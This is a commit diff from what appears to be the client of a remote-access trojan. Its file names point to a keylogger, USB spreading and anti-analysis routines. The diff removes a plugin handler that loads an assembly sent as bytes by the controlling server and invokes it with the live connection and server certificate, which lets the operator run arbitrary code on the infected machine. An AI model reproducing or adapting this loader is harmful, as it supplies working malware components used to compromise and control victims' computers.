Update v0.5.2
This commit is contained in:
parent
583da6a7ad
commit
add6f4e73a
@ -127,7 +127,6 @@
|
|||||||
<Compile Include="Handle Packet\Packet.cs" />
|
<Compile Include="Handle Packet\Packet.cs" />
|
||||||
<Compile Include="Handle Packet\HandleLimeLogger.cs" />
|
<Compile Include="Handle Packet\HandleLimeLogger.cs" />
|
||||||
<Compile Include="Handle Packet\HandleProcessManager.cs" />
|
<Compile Include="Handle Packet\HandleProcessManager.cs" />
|
||||||
<Compile Include="Handle Packet\HandlePlugin.cs" />
|
|
||||||
<Compile Include="Handle Packet\HandleSendTo.cs" />
|
<Compile Include="Handle Packet\HandleSendTo.cs" />
|
||||||
<Compile Include="Handle Packet\HandleLimeUSB.cs" />
|
<Compile Include="Handle Packet\HandleLimeUSB.cs" />
|
||||||
<Compile Include="Helper\Anti_Analysis.cs" />
|
<Compile Include="Helper\Anti_Analysis.cs" />
|
||||||
|
@ -1,32 +0,0 @@
|
|||||||
using Client.MessagePack;
|
|
||||||
using Client.Connection;
|
|
||||||
using System;
|
|
||||||
using System.Threading;
|
|
||||||
using System.Reflection;
|
|
||||||
using System.Diagnostics;
|
|
||||||
using Client.Helper;
|
|
||||||
|
|
||||||
namespace Client.Handle_Packet
|
|
||||||
{
|
|
||||||
public class HandlePlugin
|
|
||||||
{
|
|
||||||
public HandlePlugin(MsgPack unpack_msgpack)
|
|
||||||
{
|
|
||||||
new Thread(delegate ()
|
|
||||||
{
|
|
||||||
try
|
|
||||||
{
|
|
||||||
Assembly plugin = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes());
|
|
||||||
MethodInfo meth = plugin.GetType("Plugin.Plugin").GetMethod("Initialize");
|
|
||||||
meth.Invoke(null, new object[] { ClientSocket.TcpClient, Settings.ServerCertificate });
|
|
||||||
}
|
|
||||||
catch (Exception ex)
|
|
||||||
{
|
|
||||||
Debug.WriteLine(ex.Message);
|
|
||||||
Packet.Error(ex.Message);
|
|
||||||
}
|
|
||||||
})
|
|
||||||
{ IsBackground = true }.Start();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
Loading…
x
Reference in New Issue
Block a user